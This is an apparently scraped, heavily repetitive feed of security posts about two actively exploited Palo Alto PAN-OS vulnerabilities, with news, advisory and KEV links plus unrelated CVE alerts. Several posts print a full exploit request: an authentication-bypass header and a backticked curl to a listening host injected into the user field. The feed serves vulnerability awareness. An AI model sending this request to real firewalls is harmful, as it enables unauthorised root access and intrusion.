user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
#CVE_2024_0012 #CVE_2024_9474
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: @cR0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: cr0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

How to hack a #PaloAlto firewall:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

#CVE20240012 #CVE20249474 #CVE #CVE2024

Palo Alto Reports Two More Bugs in PAN-OS That Are Being Actively Exploited https://thecyberexpress.com/palo-alto-pan-os-two-bugs-under-exploitation/ #PaloAltoPANOSvulnerability #TheCyberExpressNews #VulnerabilityNews #Vulnerabilities #PaloAltoNetwork #TheCyberExpress #FirewallDaily #CVE20240012 #CVE20249474 #CyberNews #PANOS

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
#CVE_2024_0012 #CVE_2024_9474
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: @cR0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

watchTowr: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474
With the release of security patches for Palo Alto Networks' exploited zero-days, watchTowr performed some patch-diffing and found the root cause of CVE-2024-0012: "We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?!" and of CVE-2024-9474: "Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute()." The remote command execution vulnerability of CVE-2024-9474 is the ability to pass a curl command for the user value in the POST request; which allows the attacker to specify an arbitrary user, an arbitrary user role (&userRole=superuser) and be granted a valid PHP session.

#CVE_2024_0012 #CVE_2024_9474 #eitw #activeexploitation #vulnerability #zeroday #paloaltonetworks #panos #rootcauseanalysis #infosec #cybersecurity

CISA: CISA Adds Three Known Exploited Vulnerabilities to Catalog
So hot off the press that it's not even live yet!

• CVE-2024-0012 (CVSSv4: 9.3 critical) Palo Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability
• CVE-2024-9474 (CVSSv4: 6.9 medium) Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
• CVE-2024-1212 (perfect 10.0 🥳) Progress Kemp LoadMaster OS Command Injection Vulnerability

#cisa #cisakev #kev #knownexploitedvulnerabilitiescatalog #vulnerability #cve #CVE_2024_0012 #CVE_2024_9474 #paloaltonetworks #panos #zeroday #eitw #activeexploitation #progress #kemp #loadmaster

Unit 42: ⁠Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012
Unit 42 has additional Indicators of Compromise related to CVE-2024-0012 and CVE-2024-9474 Palo Alto Networks PAN-OS zero-day exploitation, tracked as Operation: Lunar Peek.

h/t: cr0w cc: @briankrebs @GossiTheDog @ntkramer @iagox86 @dreadpir8robots @deepthoughts10 @mttaggart @catc0n @campuscodi and whoever else cares

#CVE_2024_0012 #CVE_2024_9474 #threatintel #infosec #cybersecurity #cyberthreatintelligence #OperationLunarPeek #LunarPeek #infosec #CTI #IOC

Palo Alto Networks 11/18 update: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)

The actively exploited zero-day now has a CVE ID: CVE-2024-0012* (9.3 critical) An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474

Second actively exploited zero-day: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
CVE-2024-9474 (6.9 medium) A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

New Indicators of compromise at Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

#paloaltonetworks #zeroday #vulnerability #pan #CVE_2024_9474 #CVE_2024_0012 #eitw #activeexploitation #threatintel #threatintel #cyberthreatintelligence #CTI #cybersecurity #infosec #IOC

#PaloAlto Unit 42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ #cybersecurity #Infosec

r u freakin' kidding me? "X-PAN-AUTHCHECK: off" - seriously?!

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123

Favorite quote from WatchTowr's blog about PAN-OS vuln:

I guess auto_prepend_file actually has legitimate use besides writing PHP exploits.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Reading the awesome WatchTowr writeup of CVE-2024-0012 and CVE-2024-9474, the Palo Alto RCE/privesc one-two punch. Great work here as always. And h/t to @screaminggoat , of course.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

A few things stand out:

First, sorry @cR0w, no #directorytraversalmemes for you:

We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?! At this point, why is anyone surprised?

That’s right folks, a simple reproducer for CVE-2024-0012. It couldn't be easier than that.

That's the auth bypass. And then, WHAT IS THIS DOING IN ANYTHING

return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");

So obviously if that $username has shell metacharacters, you have yourself a nice command injection.

And guess what user the service runs as?

#PaloAlto Unit 42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ #cybersecurity #Infosec

r u freakin' kidding me? "X-PAN-AUTHCHECK: off" - seriously?!

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123

Favorite quote from WatchTowr's blog about PAN-OS vuln:

I guess auto_prepend_file actually has legitimate use besides writing PHP exploits.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Reading the awesome WatchTowr writeup of CVE-2024-0012 and CVE-2024-9474, the Palo Alto RCE/privesc one-two punch. Great work here as always. And h/t to @screaminggoat , of course.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

A few things stand out:

First, sorry @cR0w, no #directorytraversalmemes for you:

We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?! At this point, why is anyone surprised?

That’s right folks, a simple reproducer for CVE-2024-0012. It couldn't be easier than that.

That's the auth bypass. And then, WHAT IS THIS DOING IN ANYTHING

return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");

So obviously if that $username has shell metacharacters, you have yourself a nice command injection.

And guess what user the service runs as?

WatchTower: Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474 https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/ #cybersecurity #infosec #PaloAlto

If you missed this, #PaloAlto has patched a Firewall Zero-Day Exploited in Operation Lunar Peek https://www.securityweek.com/palo-alto-patches-firewall-zero-day-exploited-in-operation-lunar-peek/ @SecurityWeek @ekovacs

More:

Palo Alto Unit 42 posted this yesterday about Lunar Peek activity related to CVE-2024-0012: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

@christopherkunz Palo Alto keeps on giving.

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/amp/

Weeeeeee

I don’t know why Palo-Alto changed the CVEs at the last minute to remove reference to RCE. It’s remote code execution. https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474 - watchTowr Labs https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

CISA Adds Three Critical Vulnerabilities to the Known Exploited Vulnerabilities Catalog

: CISA adds CVE-2024-1212, CVE-2024-0012, and CVE-2024-9474 to the Known Exploited Vulnerabilities Catalog (KEV).

🔗️ [Cyble] https://link.is.it/so5jib

@catc0n I noticed the disparity between the CVE-2024-9474 advisory description "privilege escalation vulnerability" and CISA's KEV Catalog name "Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability"

Palo Alto Networks discarded the verbiage from Thursday "unauthenticated remote command execution vulnerability" and divided the unauth RCE into 2 separate vulnerabilities, while stating that one would be allow for the other.

So authentication bypass to admin (CVE-2024-0012), then authenticated privesc from admin to root (CVE-2024-9474).

Unit 42 skipped talking about CVE-2024-9474.

The CVSSv4 vector is CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/AU:N/R:U/V:C/RE:H/U:Red I think the real takeaway is that only Integrity is impacted. Everything else appears to be the consequence of having root privileges on a firewall

@shadowserver IOCs provided by Unit 42: https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

CVEs were added to CISA's KEV Catalog: https://www.cisa.gov/news-events/alerts/2024/11/18/cisa-adds-three-known-exploited-vulnerabilities-catalog

#CISA has updated the KEV catalogue:

CVE-2024-1212: Progress Kemp LoadMaster OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-1212

- CVE-2024-0012: Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-0012

- CVE-2024-9474: Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2024-9474 @cisacyber #cybersecurity #infosec #PaloAlto

CVE ID: CVE-2024-9474
Vendor: Palo Alto Networks
Product: PAN-OS
Date Added: 2024-11-18
Vulnerability: Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability
Notes: https://security.paloaltonetworks.com/CVE-2024-9474 ; https://nvd.nist.gov/vuln/detail/CVE-2024-9474
CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2024-9474

#PaloAlto has updated its security advisories: https://security.paloaltonetworks.com/

- CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface https://security.paloaltonetworks.com/CVE-2024-0012

- CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface @paloaltontwks #cybersecurity #infosec

Attackers are exploiting 2 zero-days in Palo Alto Networks firewalls (CVE-2024-0012, CVE-2024-9474) https://www.helpnetsecurity.com/2024/11/18/cve-2024-0012-cve-2024-9474/ #PaloAltoNetworks #enterprise #Don'tmiss #Hotstuff #firewall #0-day #News #CVE

Palo Alto Networks has released fixes for two vulnerabilities (CVE-2024-0012 and CVE-2024-9474) in its next-generation firewalls that have been exploited by attackers as zero-days.

CVE-2024-0012 is the (previously unspecified) unauthenticated remote command execution zero-day that the company started warning about ten days ago.

https://www.helpnetsecurity.com/2024/11/18/cve-2024-0012-cve-2024-9474/

#CVE #Cybersecurity

@screaminggoat "Palo Alto Networks and Unit 42 are engaged in tracking a limited set of exploitation activity related to CVE-2024-0012 and are working with external researchers, partners, and customers to share information transparently and rapidly." 🤔

https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

Palo Alto Unit42 Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/ @unit42_intel #cybersecurity #infosec

@neurovagrant start your Monday off with exploited zero-days:

• https://security.paloaltonetworks.com/CVE-2024-0012
• https://security.paloaltonetworks.com/CVE-2024-9474

@therecord_media @jwarminsky @jgreig can this news article be updated to include the two CVE IDs?: CVE-2024-0012 and CVE-2024-9474

• https://security.paloaltonetworks.com/CVE-2024-0012
• https://security.paloaltonetworks.com/CVE-2024-9474

#Thunderbird casually fiing a high security vulnerability in their #OpenPGP implementation

#CVE-2024-11159 Using remote content in OpenPGP encrypted messages can lead to the disclosure of plaintext.

www.mozilla.org/en-US/security/advisories/mfsa2024-61/

Mozilla Foundation security advisories:

• 2024-61 Security Vulnerabilities fixed in Thunderbird 128.4.3 CVE-2024-11159 (high) Potential disclosure of plaintext in OpenPGP encrypted message
• 2024-62 Security Vulnerabilities fixed in Thunderbird 132.0.1 CVE-2024-11159 (high) Potential disclosure of plaintext in OpenPGP encrypted message

No mention of exploitation

#mozilla #thunderbird #vulnerability #CVE #infosec #cybersecurity

Finally got to publish the CVE for a "forever-day" path traversal in the .NET library DotNetZip affecting all releases since 2018. Enjoy, the PoC is in the patch! :blobcatsuit: #CVE_2024_48510

https://www.cve.org/CVERecord?id=CVE-2024-48510

Finally got to publish the CVE for a "forever-day" path traversal in the .NET library DotNetZip affecting all releases since 2018. Enjoy, the PoC is in the patch! :blobcatsuit: #CVE_2024_48510

https://www.cve.org/CVERecord?id=CVE-2024-48510

https://nvd.nist.gov/vuln/detail/CVE-2024-48510

#directoryTraversalMemes

TrustedSec: EKUwu: Not just another AD CS ESC
The publicly disclosed zero-day CVE-2024-49019, (7.8 high) Active Directory Certificate Services Elevation of Privilege Vulnerability, appears to be the one mentioned in the 08 October 2024 blog post by TrustedSec. Dubbed "EKUwu," an attacker can craft a certificate signing request, or CSR, (using built-in default version 1 certificate templates) to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the WebServer template.

According to the timeline, TrustedSec reported the vulnerability on 30 August and Microsoft Security Response Center responded on 28 September saying that "the default configuration was not vulnerable" but requested that they "hold off on publishing any details." UwU what's this? Cue the 08 October blog post disclosing the vulnerability and details.

h/t: @dreadpir8robots cc: @cR0w

#CVE_2024_49019 #zeroday #microsoft #EKUwu #cve #vulnerability

Ref: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019

Happy #PatchTuesday from Microsoft: FOUR ZERO-DAYS (3 publicly disclosed, 2 actively exploited) 89 vulnerabilities

• CVE-2024-43451 (6.5 medium) NTLM Hash Disclosure Spoofing Vulnerability (EXPLOITED, PUBLICLY DISCLOSED)
• CVE-2024-49039 (8.8 high) Windows Task Scheduler Elevation of Privilege Vulnerability (EXPLOITED)
• CVE-2024-49019 (7.8 high) Active Directory Certificate Services Elevation of Privilege Vulnerability (PUBLICLY DISCLOSED)
• CVE-2024-49040 (7.5 high) Microsoft Exchange Server Spoofing Vulnerability (PUBLICLY DISCLOSED)

#zeroday #vulnerability #microsoft #cve #eitw #activeexploitation #infosec #cybersecurity

💡AnyDesk IP Leak Vulnerability CVE-2024-52940

https://darkwebinformer.com/anydesk-ip-leak-vulnerability-cve-2024-52940/

CVE Alert: CVE-2023-0657 - https://www.redpacketsecurity.com/cve_alert_cve-2023-0657/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_0657

CVE Alert: CVE-2023-0657 - https://www.redpacketsecurity.com/cve_alert_cve-2023-0657/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_0657

CVE Alert: CVE-2023-0657 - https://www.redpacketsecurity.com/cve_alert_cve-2023-0657/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_0657

CVE Alert: CVE-2023-0657 - https://www.redpacketsecurity.com/cve_alert_cve-2023-0657/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_0657

CVE Alert: CVE-2023-1419 - https://www.redpacketsecurity.com/cve_alert_cve-2023-1419/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_1419

CVE Alert: CVE-2023-1419 - https://www.redpacketsecurity.com/cve_alert_cve-2023-1419/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_1419

CVE Alert: CVE-2023-1419 - https://www.redpacketsecurity.com/cve_alert_cve-2023-1419/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_1419

CVE Alert: CVE-2023-1419 - https://www.redpacketsecurity.com/cve_alert_cve-2023-1419/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_1419

CVE Alert: CVE-2023-4639 - https://www.redpacketsecurity.com/cve_alert_cve-2023-4639/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_4639

CVE Alert: CVE-2023-4639 - https://www.redpacketsecurity.com/cve_alert_cve-2023-4639/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_4639

CVE Alert: CVE-2023-4639 - https://www.redpacketsecurity.com/cve_alert_cve-2023-4639/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_4639

CVE Alert: CVE-2023-4639 - https://www.redpacketsecurity.com/cve_alert_cve-2023-4639/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_4639

CVE Alert: CVE-2023-6110 - https://www.redpacketsecurity.com/cve_alert_cve-2023-6110/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_6110

CVE Alert: CVE-2023-6110 - https://www.redpacketsecurity.com/cve_alert_cve-2023-6110/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_6110

CVE Alert: CVE-2023-6110 - https://www.redpacketsecurity.com/cve_alert_cve-2023-6110/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_6110

CVE Alert: CVE-2023-6110 - https://www.redpacketsecurity.com/cve_alert_cve-2023-6110/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_6110

CVE Alert: CVE-2023-43091 - https://www.redpacketsecurity.com/cve_alert_cve-2023-43091/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_43091

CVE Alert: CVE-2023-43091 - https://www.redpacketsecurity.com/cve_alert_cve-2023-43091/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_43091

CVE Alert: CVE-2023-43091 - https://www.redpacketsecurity.com/cve_alert_cve-2023-43091/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_43091

CVE Alert: CVE-2023-43091 - https://www.redpacketsecurity.com/cve_alert_cve-2023-43091/

#OSINT #ThreatIntel #CyberSecurity #cve_2023_43091

